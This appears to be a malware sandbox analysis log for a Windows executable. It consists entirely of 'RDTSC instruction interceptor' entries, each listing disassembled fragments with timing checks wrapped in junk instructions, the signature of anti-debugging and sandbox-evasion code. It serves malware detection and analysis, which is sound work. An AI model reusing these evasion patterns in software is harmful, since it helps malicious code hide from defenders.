Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF485C second address: FF4893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1D54DCB063h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F1D54DCB056h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F1D54DCB062h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4893 second address: FF489F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1D548AABFEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C8B second address: FF4C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C95 second address: FF4C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C99 second address: FF4C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C9D second address: FF4CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4CAA second address: FF4CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1D54DCB056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF50CB second address: FF50DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jno 00007F1D548AABF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF522A second address: FF522E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA3DD second address: FFA404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F1D548AABFBh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA404 second address: FFA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA057 second address: FDA05D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA05D second address: FDA061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA061 second address: FDA065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDDEE second address: FFDDF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDDF4 second address: FFDE05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F1D548AABF6h 0x00000009 jnl 00007F1D548AABF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79348 second address: F7934C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7934C second address: F79352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79352 second address: F79358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79358 second address: F7937A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1D548AABFEh 0x00000008 jl 00007F1D548AABF6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1D548AABFEh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7937A second address: F7937E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1E3A second address: FC1E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D548AABFFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC204A second address: FC2050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE11D second address: FDE123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2350 second address: FC2356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2356 second address: FC235A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF0E3 second address: FDF0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB065h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC25FD second address: FC2607 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2607 second address: FC2612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1D54DCB056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC26C7 second address: FC26D1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D548AABFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27FA second address: FC282D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop esi 0x00000012 jo 00007F1D54DCB058h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007F1D54DCB056h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCF41 second address: FDCF45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCF45 second address: FDCFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F1D54DCB068h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jne 00007F1D54DCB05Bh 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F1D54DCB058h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c or edi, dword ptr [ebp+122D1AD2h] 0x00000042 mov eax, dword ptr [ebp+122D0FDDh] 0x00000048 or edi, dword ptr [ebp+122D2BB2h] 0x0000004e push FFFFFFFFh 0x00000050 mov edi, dword ptr [ebp+122D2E1Bh] 0x00000056 call 00007F1D54DCB05Eh 0x0000005b jnl 00007F1D54DCB06Fh 0x00000061 pop ebx 0x00000062 nop 0x00000063 push ecx 0x00000064 js 00007F1D54DCB058h 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c pop ecx 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCFF9 second address: FDCFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCFFF second address: FDD004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2F47 second address: FC2F51 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC32D0 second address: FC32D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC32D4 second address: FC32DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10019BC second address: 10019CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB05Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10019CA second address: 10019CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10019CE second address: 1001A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F1D54DCB069h 0x00000010 jmp 00007F1D54DCB069h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jns 00007F1D54DCB056h 0x00000020 jmp 00007F1D54DCB05Fh 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pop edi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001A2C second address: 1001A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001A30 second address: 1001A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Ch 0x00000007 jg 00007F1D54DCB056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001BE6 second address: 1001BF0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1D548AABF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001BF0 second address: 1001C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1D54DCB067h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F1D54DCB05Fh 0x00000013 popad 0x00000014 push esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001EAD second address: 1001EBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001FE4 second address: 1001FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10022BE second address: 10022DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC03h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10022DE second address: 100230E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1D54DCB064h 0x00000008 jmp 00007F1D54DCB05Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1D54DCB062h 0x00000014 js 00007F1D54DCB056h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007457 second address: 1007468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007468 second address: 100746C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009A59 second address: 1009A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jnl 00007F1D548AABF6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F1D548AAC00h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009A7A second address: 1009A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jl 00007F1D54DCB07Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F1D54DCB056h 0x00000014 js 00007F1D54DCB056h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7436D second address: F7437A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E3FE second address: 100E402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E98B second address: 100E990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EB07 second address: 100EB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EB0B second address: 100EB24 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1D548AABF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop eax 0x00000012 pop edi 0x00000013 push ecx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC6A second address: 100EC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1D54DCB056h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC79 second address: 100EC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC7D second address: 100EC87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1D54DCB056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F080 second address: 100F08A instructions: 0x00000000 rdtsc 0x00000002 je 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F210 second address: 100F219 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F219 second address: 100F22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1D548AABF6h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c push edi 0x0000000d pushad 0x0000000e jnl 00007F1D548AABF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013CFE second address: 1013D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013D02 second address: 1013D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013D06 second address: 1013D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB060h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013599 second address: 101359D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101359D second address: 10135C8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D54DCB056h 0x00000008 jmp 00007F1D54DCB05Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F1D54DCB062h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10135C8 second address: 10135CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10135CE second address: 10135D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10135D2 second address: 10135D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013876 second address: 101388D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1D54DCB05Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10206AE second address: 10206D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007F1D548AABF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F1D548AAC02h 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F1D548AABF6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F364 second address: 101F368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F368 second address: 101F374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F1D548AABF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F512 second address: 101F518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F518 second address: 101F527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F1D548AABF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F527 second address: 101F531 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D54DCB056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F669 second address: 101F66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F66D second address: 101F671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F671 second address: 101F696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F1D548AAC07h 0x0000000c jo 00007F1D548AABF6h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2D90 second address: FC2D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2D94 second address: FC2D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1024778 second address: 1024782 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1024782 second address: 102478A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102478A second address: 10247A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F1D54DCB056h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10247A8 second address: 10247AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B1E second address: 1023B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B23 second address: 1023B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B29 second address: 1023B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023C5D second address: 1023C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023C63 second address: 1023C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10278A8 second address: 10278B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10278B2 second address: 10278DA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1D54DCB056h 0x00000008 jmp 00007F1D54DCB068h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10278DA second address: 10278E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10278E0 second address: 10278F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push esi 0x00000008 js 00007F1D54DCB062h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10278F0 second address: 10278F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026F56 second address: 1026F6A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1D54DCB05Eh 0x00000008 jne 00007F1D54DCB056h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10270CD second address: 10270D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
